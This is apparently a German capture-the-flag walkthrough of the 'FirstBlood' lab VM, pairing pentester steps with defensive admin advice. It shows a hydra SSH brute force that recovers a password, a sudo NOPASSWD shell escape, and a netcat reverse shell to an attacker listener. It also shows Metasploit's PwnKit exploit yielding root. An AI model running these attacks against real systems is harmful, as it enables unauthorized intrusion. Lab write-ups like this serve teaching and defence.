192.168.2.110 08:00:27:af:9a:c8 PCS Systemtechnik GmbH
Analyse: Der Befehl `arp-scan -l` wird zur Identifizierung aktiver Geräte im lokalen Netzwerksegment mittels ARP-Anfragen eingesetzt.
Bewertung: Ein aktiver Host wurde unter der IP-Adresse `192.168.2.110` gefunden. Die zugehörige MAC-Adresse (`08:00:27:af:9a:c8`) und der Hersteller ("PCS Systemtechnik GmbH") deuten stark auf eine VirtualBox-VM hin, welche das Zielsystem "FirstBlood" ist.
Empfehlung (Pentester): Nutze die IP `192.168.2.110` als Ziel für nachfolgende Scans.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen.
192.168.2.110 firstblood.vln
Analyse: Die lokale `/etc/hosts`-Datei des Angreifers wird bearbeitet, um der Ziel-IP `192.168.2.110` den Hostnamen `firstblood.vln` zuzuweisen.
Bewertung: Dies erleichtert die Ansprache des Ziels über einen Namen, was besonders bei Webservern mit Virtual Hosts wichtig sein kann.
Empfehlung (Pentester): Verwende den Hostnamen `firstblood.vln` in den nächsten Schritten, insbesondere bei Web-Enumeration.
Empfehlung (Admin): Keine Aktion auf dem Zielsystem erforderlich.
- Nikto v2.5.0
[...]
+ Target IP: 192.168.2.110
+ Target Hostname: 192.168.2.110
+ Target Port: 80
+ Start Time: 2023-10-12 22:22:48 (GMT2)
[...]
+ Server: nginx/1.14.0 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ /robots.txt: Entry ' /johnnyrambo/' is returned a non-forbidden or redirect HTTP code (200). [...]
+ /robots.txt: contains 1 entry which should be manually viewed. [...]
+ nginx/1.14.0 appears to be outdated (current is at least 1.20.1).
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
[...]
+ End Time: 2023-10-12 22:23:02 (GMT2) (14 seconds)
[...]
Analyse: Der Webscanner `nikto` wird gegen Port 80 ausgeführt und findet: * Server: nginx/1.14.0 (Ubuntu) - Veraltete Version. * Fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`). * `/robots.txt`: Enthält einen Eintrag `/johnnyrambo/`. * `/#wp-config.php#`: Ein Backup (?) der WordPress-Konfigurationsdatei, die Zugangsdaten enthält. Dies ist ein **hochkritischer Fund**. **Datum extrahiert:** 2023-10-12.
Bewertung: Die Entdeckung der `#wp-config.php#`-Datei ist der wichtigste Fund. Sie enthält wahrscheinlich Datenbank-Zugangsdaten und Salts. Der `/johnnyrambo/`-Pfad aus `robots.txt` ist ebenfalls interessant. Die veraltete Nginx-Version könnte zusätzliche Schwachstellen aufweisen.
Empfehlung (Pentester):
1. **Priorität:** Versuche sofort, die Datei `#wp-config.php#` über den Browser oder `curl` herunterzuladen und den Inhalt zu analysieren.
2. Untersuche das Verzeichnis `/johnnyrambo/`.
3. Recherchiere bekannte Schwachstellen für nginx/1.14.0.
Empfehlung (Admin):
1. **Kritisch:** Entferne sofort Backup-Dateien von Konfigurationsdateien (wie `#wp-config.php#`) aus Web-zugänglichen Verzeichnissen. Konfiguriere den Webserver so, dass der Zugriff auf solche Dateinamenmuster blockiert wird. Ändere alle Zugangsdaten, die in der Datei gefunden wurden.
2. Aktualisiere Nginx dringend. Implementiere fehlende Sicherheitsheader.
80/tcp open http nginx 1.14.0 (Ubuntu)
60022/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
Analyse: Ein schneller Nmap-Scan, gefiltert nach offenen Ports.
Bewertung: Bestätigt die offenen Ports 80 (HTTP/Nginx) und einen ungewöhnlichen Port 60022 für SSH (OpenSSH 7.6p1).
Empfehlung (Pentester): Konzentriere dich auf Port 80 (Web) aufgrund der Nikto-Funde. Behalte den SSH-Port 60022 für spätere Zugriffsversuche im Auge.
Empfehlung (Admin): Die Verwendung eines nicht-standardmäßigen SSH-Ports erhöht die Sicherheit nur geringfügig ("Security through Obscurity"). Wichtiger sind starke Authentifizierung und aktuelle Software.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 22:22 CEST
Nmap scan report for firstblood.vln (192.168.2.110)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/johnnyrambo/
|_http-title: Welcome to FirstBlood!
60022/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:01:d8:27:53:50:d9:e1:9a:cb:9d:1e:4c:b0:a5:ae (RSA)
| 256 4b:c8:77:49:db:5f:38:7f:36:e1:49:da:a4:a1:7c:5d (ECDSA)
|_ 256 36:c8:65:e1:45:9a:9c:66:c9:c9:21:c4:5a:25:4d:76 (ED25519)
MAC Address: 08:00:27:AF:9A:C8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms firstblood.vln (192.168.2.110)
[...]
Analyse: Die vollständige Nmap-Ausgabe liefert Details zu den Ports: * Port 80 (Nginx 1.14.0): Bestätigt den `robots.txt`-Eintrag und den Seitentitel. * Port 60022 (OpenSSH 7.6p1): Zeigt die Hostkeys an. * Bestätigt OS als Linux und die VirtualBox MAC.
Bewertung: Die Versionen (Nginx 1.14.0, OpenSSH 7.6p1) sind für die Schwachstellensuche relevant. Der Fokus bleibt auf Port 80 wegen der Nikto-Funde.
Empfehlung (Pentester): Priorisiere das Herunterladen der `#wp-config.php#`-Datei und die Untersuchung von `/johnnyrambo/`.
Empfehlung (Admin): Aktualisiere Nginx und OpenSSH.
# Inhalt von http://firstblood.vln/robots.txt
User-agent: *
Disallow: /johnnyrambo/
# Inhalt von http://firstblood.vln/README.txt
Hack the Planet!
Nice work!
[...]
find / -type f -readable 2>/dev/null | grep README.txt
[...]
Find the file, read the contents.
Analyse: Die Untersuchung der zuvor gefundenen Dateien: * `robots.txt`: Bestätigt den Eintrag `/johnnyrambo/`. * `README.txt`: Enthält eine Nachricht und eine Anleitung zur Verwendung des `find`-Befehls, um lesbare Dateien zu finden, speziell eine andere `README.txt`-Datei.
Bewertung: Die `robots.txt` weist auf ein Verzeichnis hin. Die `README.txt` scheint ein direkter Hinweis für den CTF-Spieler zu sein, wie er eine versteckte Datei (vermutlich die User-Flag oder einen weiteren Hinweis) finden kann, sobald er Shell-Zugang hat.
Empfehlung (Pentester): Untersuche das Verzeichnis `/johnnyrambo/`. Behalte den `find`-Befehl aus der `README.txt` für die Post-Exploitation-Phase im Hinterkopf. Hole die `#wp-config.php#`-Datei.
Empfehlung (Admin): Entferne unnötige Hinweisdateien wie diese `README.txt` vom Webserver.
[...]
http://firstblood.vln/README.txt (Status: 200) [Size: 986]
http://firstblood.vln/robots.txt (Status: 200) [Size: 39]
http://firstblood.vln/rambo.html (Status: 200) [Size: 1137]
[...]
Analyse: Ein weiterer `gobuster`-Scan findet `/README.txt`, `/robots.txt` (bereits bekannt) und eine neue Datei `/rambo.html`.
Bewertung: Die Datei `/rambo.html` ist ein neuer Fund und könnte relevant sein, da sie thematisch zu `/johnnyrambo/` passt.
Empfehlung (Pentester): Untersuche den Inhalt von `/rambo.html`.
Empfehlung (Admin): Keine neuen Erkenntnisse.
# Inhalt von http://firstblood.vln/rambo.html (oder Teile davon)
login vm user:johnny, blood,sly
Analyse: Die Untersuchung von `/rambo.html` (vermutlich im Quelltext oder als sichtbarer Text) enthüllt potenzielle Benutzernamen: `johnny`, `blood`, `sly`.
Bewertung: Dies sind wertvolle Benutzernamen, die für Brute-Force-Angriffe (insbesondere gegen SSH auf Port 60022) verwendet werden können. `johnny` passt auch zum Verzeichnis `/johnnyrambo/`.
Empfehlung (Pentester): Versuche einen Brute-Force-Angriff gegen SSH (Port 60022) mit den Benutzernamen `johnny`, `blood`, `sly` und einer gängigen Passwortliste (z.B. `rockyou.txt`). Priorisiere `johnny`.
Empfehlung (Admin): Vermeide das Offenlegen von Benutzernamen in öffentlich zugänglichen Dateien.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak [...]
[...]
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 64 tasks per 1 server, overall 64 tasks, 137 login tries (l:1/p:137), ~3 tries per task
[DATA] attacking ssh://192.168.2.110:60022/
[60022][ssh] host: 192.168.2.110 login: johnny password: Vietnam
1 of 1 target successfully completed, 1 valid password found
Analyse: Das Tool `hydra` wird für einen Brute-Force-Angriff gegen den SSH-Dienst auf Port 60022 verwendet. * `-l johnny`: Zielt auf den Benutzer `johnny`. * `-P words.txt`: Verwendet eine Passwortliste namens `words.txt`. * `ssh://192.168.2.110:60022`: Gibt das Zielprotokoll, die IP und den Port an. * `-t 64`: Verwendet 64 Threads. Hydra findet erfolgreich das Passwort `Vietnam` für den Benutzer `johnny`.
Bewertung: Volltreffer! Gültige SSH-Zugangsdaten wurden gefunden. Der initiale Zugriff ist nun möglich.
Empfehlung (Pentester): Melde dich mit `ssh johnny@192.168.2.110 -p 60022` und dem Passwort `Vietnam` an.
Empfehlung (Admin): Erzwinge starke, komplexe Passwörter. Implementiere Maßnahmen gegen Brute-Force-Angriffe auf SSH (z.B. `fail2ban`, Schlüssel-basierte Authentifizierung).
The authenticity of host '[192.168.2.110]:60022 ([192.168.2.110]:60022)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.2.110]:60022' (ED25519) to the list of known hosts.
johnny@192.168.2.110's password: Vietnam
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-88-generic x86_64)
[...]
Last login: Fri Sep 18 15:29:53 2020 from 192.168.86.109
johnny@firstblood$
Analyse: Die SSH-Verbindung wird mit dem Benutzernamen `johnny`, der Ziel-IP, dem Port `60022` und dem gefundenen Passwort `Vietnam` hergestellt. Der Login ist erfolgreich, und wir erhalten einen Shell-Prompt als `johnny` auf dem Zielsystem.
Bewertung: Der initiale Zugriff als Benutzer `johnny` ist erfolgt.
Empfehlung (Pentester): Beginne mit der Post-Exploitation-Enumeration: Prüfe `sudo`-Rechte (`sudo -l`), suche nach SUID-Dateien, Kernel-Version, Cronjobs etc.
Empfehlung (Admin): Überwache SSH-Logins auf verdächtige Aktivitäten. Ändere das kompromittierte Passwort.
Matching Defaults entries for johnny on firstblood:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johnny may run the following commands on firstblood:
(root) NOPASSWD: /usr/bin/esudo-properties
Analyse: Der Befehl `sudo -l` wird ausgeführt, um die `sudo`-Berechtigungen für den Benutzer `johnny` zu überprüfen.
Bewertung: Dies ist ein sehr wichtiger Fund. Der Benutzer `johnny` darf den Befehl `/usr/bin/esudo-properties` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein klarer und einfacher Weg zur Privilege Escalation.
Empfehlung (Pentester): Untersuche den Befehl `/usr/bin/esudo-properties`. Da er mit Root-Rechten ohne Passwort ausgeführt werden kann, versuche, ihn so zu nutzen, dass eine Root-Shell erzeugt wird (z.B. wenn er andere Befehle ausführt oder unsichere Umgebungsvariablen nutzt). Eine gängige Methode ist, eine Shell über einen Befehl auszuführen, der von dem privilegierten Skript/Programm aufgerufen wird (z.B. `sudo /usr/bin/esudo-properties /bin/sh`).
Empfehlung (Admin): **Kritisch!** Überprüfe die `sudoers`-Konfiguration sorgfältig. Gewähre `NOPASSWD`-Rechte nur in absolut notwendigen und gut verstandenen Fällen. Erlaube niemals die Ausführung von Skripten oder Programmen als `root`, die leicht zur Shell-Eskalation missbraucht werden können.
131138 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
131212 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
131240 44 -rwsr-xr-x 1 root root 44664 Mar 22 2019 /bin/su
137949 44 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
137950 28 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount
440 76 -rwsr-xr-x 1 root root 76496 Mar 22 2019 /usr/bin/chfn
[...]
1046 24 -rwsr-xr-x 1 root root 22520 Mar 27 2018 /usr/bin/pkexec
[...]
1223 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo
[...]
Analyse: Suche nach SUID-Dateien wird ausgeführt.
Bewertung: Findet Standard-SUID-Dateien, einschließlich `/usr/bin/pkexec` (potenziell anfällig für PwnKit, falls die Version stimmt) und `/usr/bin/sudo`. Angesichts der `sudo -l`-Ausgabe ist der Weg über `/usr/bin/esudo-properties` jedoch der offensichtlichste.
Empfehlung (Pentester): Konzentriere dich auf die Ausnutzung der `sudo`-Regel für `/usr/bin/esudo-properties`. PwnKit wäre ein alternativer Weg, falls der `sudo`-Weg blockiert ist.
Empfehlung (Admin): Halte das System gepatcht (insbesondere gegen PwnKit). Überprüfe SUID-Berechtigungen.
Analyse: Obwohl der `sudo -l`-Output einen einfacheren Weg zur Privilege Escalation aufzeigte, wurde im vorliegenden Testlauf der PwnKit-Exploit (CVE-2021-4034) über Metasploit verwendet. Dieser Abschnitt dokumentiert diesen Weg.
lhost => 192.168.2.199
lport => 4444
[*] Started reverse TCP handler on 192.168.2.199:4444
rm: cannot remove '/tmp/f': No such file or directory
[*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.110:33140) at 2023-10-12 22:37:45 +0200
$
Analyse: Eine Reverse Shell wird mittels `mkfifo` und `nc` von der `johnny`-Shell zu einem Metasploit-Listener aufgebaut. Dies erzeugt eine einfache Shell (Session 1) in Metasploit.
Bewertung: Dieser Schritt war technisch nicht notwendig, da die SSH-Verbindung bereits eine interaktive Shell bot und der `sudo`-Weg wahrscheinlich keine separate Shell erforderte. Es wurde jedoch im Test durchgeführt.
Empfehlung (Pentester): Normalerweise würde man direkt von der SSH-Shell aus agieren oder die Shell nur bei Bedarf (z.B. für Metasploit-Module) aufwerten.
Empfehlung (Admin): Egress-Filterung kann solche Reverse Shells blockieren.
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
lport => 4455
session => 2
[*] Started reverse TCP handler on 192.168.2.199:4455
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.bisedontkx
[+] The target is vulnerable.
[*] Writing '/tmp/.lvseif/xdybcxfilem/xdybcxfilem.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.lvseif
[*] Sending stage (3045380 bytes) to 192.168.2.110
[+] Deleted /tmp/.lvseif/xdybcxfilem/xdybcxfilem.so
[+] Deleted /tmp/.lvseif/.xyftexd
[+] Deleted /tmp/.lvseif
[*] Meterpreter session 3 opened (192.168.2.199:4455 -> 192.168.2.110:42530) at 2023-10-12 22:41:07 +0200
Analyse: 1. Es wird angenommen, dass die vorherige Shell (Session 1) zu einer Meterpreter-Session (Session 2) aufgewertet wurde (die genauen Befehle fehlen im Log). 2. Das Metasploit-Modul für den PwnKit-Exploit (`exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec`) wird geladen. 3. Die Optionen werden gesetzt: `LPORT` für die neue Root-Verbindung (4455), `SESSION` auf 2 (die angenommene Meterpreter-Session als `johnny`). 4. `run` führt den Exploit aus. Metasploit bestätigt die Anfälligkeit, lädt die notwendigen Dateien hoch, führt den Exploit aus und bereinigt. 5. Eine neue Meterpreter-Session (Session 3) mit Root-Rechten wird geöffnet.
Bewertung: Der PwnKit-Exploit war erfolgreich und lieferte eine Root-Meterpreter-Session. Dies beweist die Machbarkeit der Privilege Escalation über diese Schwachstelle.
Empfehlung (Pentester): Nutze die Root-Meterpreter-Session (Session 3) oder fordere eine Root-Shell (`shell`) an, um nach Flags zu suchen.
Empfehlung (Admin): **Dringend patchen!** Aktualisiere das `policykit-1`-Paket, um CVE-2021-4034 zu beheben.
Bewertung: Die Privilege Escalation wurde im dokumentierten Testlauf durch die Ausnutzung der PwnKit-Schwachstelle (CVE-2021-4034) mittels Metasploit erreicht, obwohl der `sudo -l`-Befehl einen einfacheren Weg über `/usr/bin/esudo-properties` ohne Passwort offenbarte. Der PwnKit-Exploit wurde über eine Meterpreter-Session ausgeführt und führte zur Erlangung einer neuen Meterpreter-Session mit Root-Rechten.
Process 2145 created.
Channel 1 created.
README.txt
______ _ _ ______ _ _
| ___(_) | | | ___ \ | | |
| |_ _ _ __ ___| |_| |_/ / | ___ ___ __| |
| _| | | '__/ __| __| ___ \ |/ _ \ / _ \ / _` |
| | | | | \__ \ |_| |_/ / | (_) | (_) | (_| |
\_| |_|_| |___/\__\____/|_|\___/ \___/ \__,_|
____ ______ _ _ ____
\ \ \ | ___ \ | | | | / / /
\ \ \ | |_/ /___ ___ | |_ ___ __| | / / /
> > > | // _ \ / _ \| __/ _ \/ _` | < < <
/ / / | |\ \ (_) | (_) | || __/ (_| | \ \ \
/_/_/ \_| \_\___/ \___/ \__\___|\__,_| \_\_\
I hope you enjoyed this box. I wanted to create something
on the easier side because I know how frustrating and
rewarding the process can be. If you liked this box
please reach out to me on Twitter and let me know:
@iamv1nc3nt
Analyse: Aus der Root-Meterpreter-Session wird eine System-Shell geöffnet. Im `/root`-Verzeichnis wird die Datei `README.txt` gefunden und ihr Inhalt angezeigt.
Bewertung: Die `README.txt` im Root-Verzeichnis enthält eine Abschlussnachricht und stellt die Root-Flag dar.
Empfehlung (Pentester): Dokumentiere den Inhalt der `README.txt` als Root-Flag. Suche die User-Flag (vermutlich `/home/johnny/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag, aber die Empfehlungen zum Patchen von PwnKit und zur Absicherung von `sudo` sind relevant.